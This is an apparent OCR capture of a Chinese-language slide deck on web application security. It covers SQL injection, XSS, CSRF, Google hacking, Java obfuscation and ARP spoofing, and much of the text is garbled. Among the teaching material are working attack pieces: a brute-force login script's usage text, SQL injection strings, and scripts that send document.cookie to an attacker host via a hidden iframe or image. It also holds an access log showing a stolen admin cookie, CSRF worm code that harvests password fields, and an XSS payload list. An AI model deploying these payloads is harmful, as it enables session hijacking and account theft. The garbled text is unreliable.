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“75% of attacks now take place at the
application layer” Gartner, 2006
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Mitre Corp, 09/2006

“Customization of off-the-shelf software is
the weakest link in application security”.
Gartner, 09/2005

7 By 2009, 80% of enterprises will fall victim to an
application attack”.
Gartner, 2007
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POST |thepage.jsp?yari=page1.html HTfP/1.1

Accept: T

- Vi SRR

Referer: http://www.myweb.com/index.ytml GET5POSTZ 4L
Accept-Language: en-us,de;q=0.5 \\ Referer HUser Agent
Accept-Encoding: gzip, deflate HTTP J5i%
Cookie

Content-Type: application/x-www-urt‘encodeq

Content-Lenght: 59 "

o ST
User-Agent: Mozilla/4.0 IR Ajax
Web Service

Flash# F3ji
Java Applet

Host: www.myweb.com
Connection: Keep-Alive
Cookie: JSESSIONID=0000dITLGLghz1¢KkPEtpcYqbN2
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iz4rperl formbrute.pl, Z/RHAr4 S5 T

usage: formbrute.pl -U [url]: [k
-m [method ( GET|POST )]: GETi& £POST
-u [usernameFile]: fil f* 4 7 L SCff
-p [passwordFile]: #5531
-l [loginVariable]: Formw ]/ 44 (f75 it 44 7k
-w [passVariable]: Form = # i ()75 i 44 Fi
-0 [otherVariables ( ie: submit=true&login=yes )]: A2
-v [proxyServer]: fQE!
-f [failureString]: KU [mlbsid
-s [saveFilename]: %S4
-h [request-headers( ie: Referer:abc&Cookie:ng=omo )]: HALHTTP L&
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RARHITR R :

POST http://192.168.230.2:80/bbs/Default.asp HTTP/1.1
Accept: image/gif, image/x-xbitmap, j i flash, appli ms-excel,

7

Referer: htp://192.168.230.2/bbs/
Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; NET CLR 1.1.4322)
Host: 192.168.230.2

Content-length: 77

Proxy-Connection: Keep-Alive

Pragma: no-cache

Cookie: Snitz00User=; ASPSESSIONIDQCSDTQDT=CFPLNNDAGPEJLCMAJGKGCECA; iscookies=0;
BoardList=BoardID=Show; upNum=0

Method_Tyr Password=bbb. P d=true&submitl. x=34&submitl y=17
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Google-Docs 1™ rI LU g A7 JeAt H - iy scps

@ B

7Egoogle-docs FA7 AN F T LU s
TSRS RIB L A o

GET
/Dialogs/EmailDocument?DoclD=< This document is cerrently shared.
ANY DOC ID HERE> HTTP/1.1 e

XM, googleLU&ﬁﬁﬁ’%ﬁM—'ﬁ’J
DOCID/& 75 g 1. JiL, J
Rl X SCR DI XA e - e
il-googledts SRR

Collaborators (7)
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200749 }1261116:0044 ZEhttp://www.milwOrm.com/webapps. php i il JLANF 41 F -

2007-09-26 FrontAccounting 1.13 Vulnerabilities
2007-09-24 sk.log <= 0.5.3 (skin_url) Vulnerability
2007-09-24 DFD Cart 1.1 Multiple Vulnerabilities
2007-09-23 phpFullAnnu (PFA) 6.0 Remote SQL Injection Vulnerability
2007-09-23 helplink 0.1.0 (show. php file) Vulnerability

2007-09-23 PHP-Nuke addon Nuke Mobile Entartainment |-/ Vulnerability
2007-09-23 Wordsmith 1.1b (config.inc.php _path) Vuln
2007-09-22 Black Lily 2007 (products.php class) Remote SQL Injection Vulnerability
2007-09-22 Clansphere 2007.4 (cat_id) Remote SQL Injection Vulnerability
2007-09-21 CMS Made Simple 1.2 Remote Code Execution Vulnerability

2007-09-21 iziContents <= RC6 (RFI/LFI) Multiple Remote Vulnerabilities

2007-09-21 Joomla Component com_slideshow Vulnerability

2007-09-21 neuron news 1.0 (index.php q) Vulnerability e
I e
I

18



C@@O0_ wug -2E
© uml.org.cn

- [ |

= | omsewmzss |

= | venrmassim |
-

i | was |

x| smemna |

+ | Google Hack |__

| o -~

%

BEATHIT
Malicious File
Execution

FbR: AT B ALRRsash

J PG OLEWeb N ER L T E AR A A i DU SQLIE N L EA

7‘7‘3
)‘H;Ef%%i(#ﬁ‘)i-, AR RGEM B AL, 55 R NETESQLIE NI FEN 41

K

-

Dvbbs & [H N2 4 TR E, T07.2 SP2RRUALL R #AA A —AN™ AR SO AR
J)fi“zj ‘iﬁ‘iﬂﬂ?f%)*ﬂ%dﬂl’l\/\;ﬁ*iﬁdfﬁi’w‘M$JﬂL%Pﬂ1§Wﬂ(’M§2, ARGy B
upfile.asp) :

SRR AL R L filepath - BEU i 45 formPath 25
formPath=upload.form("filepath”)

RSO R, AU P S
if CheckFileExt(fileEXT)=false then

I FilformPath A i ple i 2 GRAF(E I 5525 1 SC A 44
filename=formPath&year(now)&month(now)&day(now)&hour(
now)& ite(now) &ranNum&"."&fileExt

Rz
file.SaveToFile Server.mappath(filename)
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delete/**/from/**/temp_table6;insert/**/into/**/temp_table6/**/exec/**/master.db
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select max(sys_connect_by_path(table_name,",") ) from (select table_name,
lag(table_name)over(order by table_name) as lagcol, rownum as rn from
user_Tables where rownum<=100)start with table_name=' ' connect
by lagcol= prior table_name
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67, 7, o Ul B RAEEE MY, V7, W, \O, T LRGSR 2 % 77 11 SQLIE AL
AR 2 AR

$magic_quotes_runtime = “on”’;
$url = urldecode($_REQUEST[‘url’]);
$query = “INSERT INTO tbl_links (type, url) VALUES(1, ‘$url’)”;

FRTE LI AR T, Boidi 5 n] DARI %2527 58 il X UL g o i DRl A i 45 5 o
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stmt = con.cr 1t();
stmt.executeUpdate(“select * from Users where name="+ name);

TN 24434 I PreparedStatement B 11-SQLIE A

String sql = ““select * from product where cat="?" and price >*?"”
PreparedStatement pstmt = con.prepare(sql);

pstmt.setint(1, request.getParameter(“cat™));
pstmt.setString(2, request.getParameter(“price™));

ResultSet rs = pstmt.executeQuery();

(e FPreparedStatement, MEEEAFA ML, WFRIEES
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String sql = ““select * from Users where name="" + name;
PreparedStatement pstmt = con.prepare(sql);

)
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SqlDataAdapter myDataAdapter = new SqlDataAdapter( "SELECT au_lname,
au_fname FROM Authors WHERE au_id = @au_id", connection);
myCommand.SelectCommand.Parameters.Add("@au_id",
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myCommand.SelectCommand.Parameters[*@au_id"].Value = SSN.Text;
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Step 1. #Forum_Titlef& 5k -
<scr|pt>alert( hello’ )</scr|pt>
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Step 1. #E% TAF:

= Ml AL T 2 Web Server(BlApachestfil), iiASE 4 s e e % 4
BRI 5 AR

= Jihapachefii 45 &
= ¥ra.js¥s Dl Flapache/htdocs H & F, JEAMIRS HEYE N #ehttp:/fip/a.js S
Kt VebRis %

192.168.230.2
192.168.230.1

REHERFU 1021682302

15Min
a.js AU
var code;
WD EURL g Var target = *http://192.168.230.1/2";
info=escape(document.cookie);
AT AR % e o target=target+info;

code="<iframe style="display:none;’

) code=code+target;
gézm'm’“e' KR code=code+" width=0
. height=0></iframe>";

document.write(code);
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= Wi%access.log CAF LA L, BRI ol — B 7

192.168.230.2 - - [24/Sep/2007:18:22:04 +0800] "GET
/2Snitz00User%3DCookies%3D%26Pword%3Dadmin%26Name%3Dadmin%3B%20ASPSESSIONIDACDDAS

QD%3DGEOFEIKDEHDPHOLKLODCHPDL%3B%20%252Fbbs%252FstrSelectSize HTTP/1.1" 200 44

Step 5-b. HHL O CAMAT TR asent rene:
Tt ¥4 Hcookie A ik 45 it % R

« i T2 Tescapetiil®, BILFERI PR A4 A

encode.htmigH4T— U fighs =)
= LI C S ¥ Snitz JFUR FSize £ I P flex Vatue:
2% NUFIURLH,  fiiliDecode -

= L5 YLLEASCII TextH

ESIONDACAADRCI SOHGHNLP JCAF IDHMEM0AEDADAD)
— =
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Step 6. 7 Cookie
= U ISR U, T

Inbevcepl rosponses |
HIEICHE yWebScarab Dl MIME Types miatching

teat

= JiZWebScarab, #
= fifiWebScarab/fjIntercept Response ik
= VPR RIS HER, 2 iWebScarab i s i

Step 7. 453
= fifiAMEEUSE, HUEWebScarab 4k 2
= Uy R R, ol s 57 IR admini) & 4

KT -sessionjcookie i LLZ % i ) 37«
http://blog.csdn.net/wfdmd/archive/2006/03/06/616646.aspx

K

|
[
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Step 8: XN T ¥R ATXSST RS 10 5ER:, Hktest 4k
RAWTT G T, AT SR T A #x E Blitcookie & 4k,
7 AR R R 58 4 A 3l LR -

LSS ES I
<img id="test” width=0 height=0>

<script>document.all.test.src="http://192.168.230.1/?"+document.c
ookie;</script>

KRB U S AXSSHEATCSRFHL ISl . RIS R — M58
H({)CSRFYLLT
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R RFFAXSSSILCSRFIHIF-. 7KK M I H3/ICSRF/ M —/CSRF.txt
SO, AR B AT I davascript{ti .

SRS P REAT 0T, B SRR IR GECR

code))” code="var chr =
tion
0 cstf, GET);function find(BF,BB,BC){var
XOf(BB)+BB.lengthivar R im BF substring(R,S);}function
(BH,B1,BJ,B){if(1J){return
nreadystatechang open(BJ,BH true); I tHeader( Content-Type',‘application/x-www-
length);}J.send(: um true;function
tvar AS=new
word';AS['sendto’]=test; AS[ UserName=find (AU,

word'+chr+ type="+chr+hidden"+chr+"
MLODb():htipgs : ’* Jiin
i 17, FERBWTIN ARG L
MLHTTP);jcatch S
r(var P in AVif
62B);Jwhile(Q.inde

uml.org.cn

R
3Min
=Ultestf it 6k, AT, WASERIA ARG

=TESIAN— G EHLLLADmIn G 38 5%, BUSENIA test A R it 7.
testE A 1 CPAE:

260230 2b fm_vaw. g

Siemens Traiming For

EN | LAmN | ABES ) BN
AdminiB#HR o v [
dRT

3Mi
TR A 2] T XMLHTTP, BRI ZEA A B2 fo VP Active X F g AT .

TR 1
IEAEGEIRAE R AAVEXMLHTTPIH o Sacan | Py | Contt | Corvacsars | Poguams | Atorcae]
AT, XA EULEAjax 5 SOAPHL [ ———
RIFEAT .

i
B

e o

R DB LA B 77 s b sty S s
LRI HAT B o
ABREEnableM=MAHIRE

ActiveX controls and plug-ins [T #7i:

Run ActiveX controls and plug-ins=Enable;

Script ActiveX controls marked safe for scripting=Enable;
Scripting Ffii-—Ji:

Active scripting=Enable
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AR A AR R

Coderfr..... JERARIARES, JLERITAAWIF:

var J;
main();

MLt tpReque
functiol B

J=getXMl
httpSend(privatesend.asp?method=Topic',postcsrf,'GET');
}

function httpSend(BH,BI,BJ,BK){

if(1){return false;}

J.onreadystatechan

J.open(BJ,BH, true);

if(BJ==POST'){J.setRequestHeader(Content-Type', application/x-www-form-
urlencoded');J.setRequestHeader('Content-Length',BK.length);}
J.send(BK);

return true;

}

Postcsrf() /£ 3k Hiprivatesend.aspiti Kk [H] )9 285, 751 [m] T o 5 4k password ¥
B, JECLILAE R0 B, B POST #lprivatesend_info.asp:

ZPTLLVESEGETFHPOST, JiREPOST 4 L A7 45 Py b A S8 M 1L GE TR

function postesrf(){
if(J.readyStatel=4){return;}
var AU=J.responseText;
var AS=new Array()
AS['Method_Type']="Topic';
AS[cookies]=yes';

rik: {EERI
TP R M A

ind(AU, name="+chr+UserName'+chr+' type="rchr+hidden'tchr+' val
ind(AU, name="+chr+Password'+chr+ type="+chr+hidden’+chr+ value="+chr,chr);

httpSend(privatesend_info.asp’,stop, POST' paramsTostring(AS));
}

B EAEDIN, T testik il KL, iliidwebscarabiifi 3k Hipost Bt A
F¥. postesrfek Hrh F AR ST TS IX AL T B
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/7+cookie></iframe:

3 XmiHttpRequesti’ {} Getilhttp:// /somepage,
IXmiHttpRequestf{}Postiihttp:// /somepage
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TR fEDonain AJLAlfranes/ifranes/ BB OIMAZ €T~
R 3 ttpRequest #|Domain B <L
Ak ain BILA rames/ i rames/ 3l 11 N =
1
Frameon 1 |Frameon Vet-
i v
Domain A Domain B
R R R
X 16438 A 3 Cool
g;l)nma)n ALRIATE 8t 5Domain AMRELE R s .
AT T LB 52
< - s hnp:/I&ao_ss_a.com/index.php/2007102/08
:_‘?'?"' 1 /same-origin-policy/ e
| Vs

n

2005410 /15 H /& XSSt AR —K:  Samy KamkarE /i T
XSS s _ERE MG .

WA .
1 ?amy?‘ (i (1 S04 AR 2 A — B CSRFIH AL

2. %)ﬂigéscamyﬂ’i")\fr% SRR E
e

3. ESk, AUHEEXMLHTTPI R, Get#itH ) i
A NAF B, SRR

4. AUPRENX SRR, [ A A B
gﬁt)ﬁ) NS, mF%UﬁiXMLHTTPﬂM&

5. SEHPIA A AR BARN T % B . il
DI gear LA .

FEH AN T VM IE A I, W
http://namb.la/popular/tech.html
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WERSURFH L0, ARAE 156 40

<SCRIPT>alert("XSS");</SCRIPT>

<SCRIPT SRC=http:/bsp.com/xss js></SCRIPT>
<IMG SRC=JaVaScRiPt:alert(&quot;XSS&quot;)>
Yascript¥aalert(¢XSSe)valscript¥
<IMG SRC=&#106;&#97;&#118,&#07;&#115;&#99;&#114,&#105:&#112:&#116;

&#58; ;& #114;841

<STYLE>@import'http://bsp.com/xss.css';</STYLE>

<EMBED SRC=http://bsp.com/xss swf AllowScriptAccess="always"></EMBED>

# OLFHT BEZ YRR i
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P

|
[

[ —fue. J
« IR IE 2 FECESNT A AL, Bl alice's TE T alices.
. fplti<scrip<script>t>. i <script> )i it fE <script>.
A, Al
DEF, /i 4ZABDEFCYE ;

B NGRS T AT A 1 e
« CHERCANE i

i mg :

S A TR AR R, R R BT LA RS
D T LR DR N\ S JE T A RO N P

(P9 ZE -

. SRPHAIHURL
050 BT 2 A i, 1R 1 ActiveX .
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&7 LL A http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/# £

UGty UL 2897 J T gmail i) 3 8 85 or D) fie i Bt 2 SRS IR 1F
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rny $statURL = 'hitp i/ ww w, google, corryd seardh Prumn= 10 08h | =en &lr=fas_aqdr=all' . '&
g=allinur%3A+3%22uiewtopic.php322+%22' . $tsint(rand(@ts))] . '%30° . int(rand(30000)) .

I 4l % google % () Viewtopic.php i £ _E—ANbt
WA (fFn: 1414414=5858583)

AL BRAIE R L R A RAN

Encoding Type: |URL -

allinurl, "viewtopic.php"
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Google e

We're sorry...

K

-

Viewtopic A< B th ] fig A2 Al M. 3900 phpBBIE, 45 JL 9 1)

‘Hesuhs 1 - 10 of about 4,040 for inurl: "viewtopic™ Powered by phpBB |

Viewtopic.php 7] L] viewtopicHiphpft s

| Results 1- 10 of about 6,000 for inurl: “viewtopic™ inurl:".php"”|

Google U] % 15 7

|Resu|ts 1 - 10 of about 791 for allinurl: "view topic.php™ |

“inurl:viewtopic.php?t=%numero”; spyb
isc.sans. org/diary, php?date=2004-12-25
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HAtGoogle HackerFfH4?
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e et e @355 B -0
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1 T

HAtGoogle HackerF44?

Web Everywhere

QUM F AR SO, R A7 temp.asx, ARJETTIT

<ASX VERSION="3.0">
<PARAM name="HTMLView" value="http://www.baidu.com"/>
<ENTRY>

<REF href="http://www.baidu.com/img/logo.gif"/>
</ENTRY>
</ASX>

SR DAZE
mediaplayer &
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=Javait YT MR i
PRI, —REiE, BT
A, WAL, webR

TIOBE World
e » AR
Programming - AE KB L
Language - PR s A
Ranking

(Sept 2006)

S Sun

EE TR EALIEE I
- MOCHA - RZ4iiitclass
3

« JavadlEii g s g% B) it
— WA AT - JODE - FigiifJar fificlass
~ ficlass il 15 A 2l o
- fiiflitopcodekirb, i HLL&E M - YinglAD
- it/ Stack-Basedif) VM, 442 o] X R i 1t i
i T
T

FiEas

BLAG

B RS Gl

RGeS X ORI AT ) TR, PR
T ABLEA RS i

> 8N *.classXff, FHB (java byte-code )

> #ili: *.java o

SRR
public BreakBlock(BreakableBlock breaksBlock, boolean needsLabel) {
this.breaksBlock = (StructuredBlock) breaksBlock;
breaksBlock.setBreaked();
if (needsLabel)
label = breaksBlock.getLabel();
else
label = null;

[ 45 1 I (14K (by XJad)
jpublic BreakBIc leBlock rck, boolean flag)

breaksBlock = (StructuredBlock)breakableBlock;
breakableBlock.setBreaked();

if (flag)
label = breakableBlock.getLabel();
else
label = null;
} e
| L
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METRICS Original Obfuscated
EX3 Drawable a
Public (among the SRE draw) 20
3 23 radius a
Y SubKeywords h
Protected kL any() a()
T shortvalue b
Y SubKeywords 0
Private Fys exceptionMethod () 90
Ty fongvalue K
Remove Line Numbers Removed
Remove Debug Information Removed
Pass the Java verifier Passed
Function equivalence Remain Same
Optimize the Software Reduce the Size and Remove the unused codes
Make de-compiler fai or producing mistake |  ©¥é710ad aggressively, ry o use same name for
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Protocol, ARP) XX I AL IPHL LI
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o EJEARI T, 4 b ST AR R AL fIhﬁm
AT FI’rTT*JLE’JMACHElﬂ:E’J N EP
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= FETCP/IPHRI AL 5 HH I IPEL, ZEARKD
TEBIFIMACHENE I 6L AR 3% — AN ARPIH
SR, i R A BIIP(192.168.0.2), LK
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A 5 <<10.0.0.1
.0.0.1 (P)
gﬂ%ﬁg&? 00:00:00:00:00:01 (MAC)
Huhk, Wigt!
g 10.0.0.2 (IP)
y 00:00:00:00:00:02 (MAC) ¢
<<10.0.0.3 (IP)
00:00:00:00:00:03 (MAC)
ARP 10.0.0.4 (IP)
y 00:00:00:00:00:04 (MAC) ¢

B, RIE—EREEGAE PR NAIMACHAE
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10.0.0.2 (IP)

- ARPEU‘TL <<10.0.0.1 (IP)
00:00:00:00:00:01 (MAC)
10.0.0.3RAR! &
MIMACHER

00:00:00:00:00:03
_ 00:00:00:00:00:02 (MAC)

<<10.0.0.3 (IP)
00:00:00:00:00:03 (MAC)
ARP 10.0.0.4 (IP)
y 00:00:00:00:00:04 (MAC)

netwo rk
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HHHALBIARP BiE

IP Address MAC Address

10.0.0.1 00:00:00:00:00:01

ARPi#R D - 10.0.0.2 00:00:00:00:00:02

AFHEM10.0.0.38f5, BRAERMMACHL, REARPIHR
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HHNALKARP BF
IP Address MAC Address

10.0.0.1 00:00:00:00:00:01

ARPEIRE » 10.0.0.2 00:00:00:00:00:02
00:00:00:00:00:03 -> _ 10.0.0.3 | 00:00:00:00:00:03
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HHNALKARP BF
IP Address MAC Address

10.0.0.1 00:00:00:00:00:01
ARPIEI R » 10.0.0.2 00:00:00:00:00:02
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IP Address MAC Address
10.0.0.1 00:00:00:00:00:01
; : - 10.0.0.2 00:00:00:00:00:02
—_ 10.0.0.3 ffffff

BN RAREF10.0.0. 31815, BEIRITKAEMACHEILS
FF:FF:FF:FF:FFFREH8HL, AL ERK00:00:00:00:00:03
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— JET HARIIMAC/ Port it 5641 S0 A 3% 13 11
— FHAEARFE R

K

= i) A¥idi (Man-in-the-Middle Attack)
- R P RL:
- 4B ERALE ST A 5 )
RO BT, AT R AGEE 1 CU & T
H¥E

K

65



C@@O0_ wug -2E
== © umiorg.cn

= Man-in-the-Middle Attack (MiM)
10.0.0.1 10.0.0.2
00:00:00:00:00:01 00:00:00:00:00:02

1P Address MAC Address 1P Address MAC Address
10.0.0.2 | 00:00:00:00:00:02 10.0.0.1 | 00:00:00:00:00:01

ARBITETE — AL B M FATBIN (B RENE T 3B
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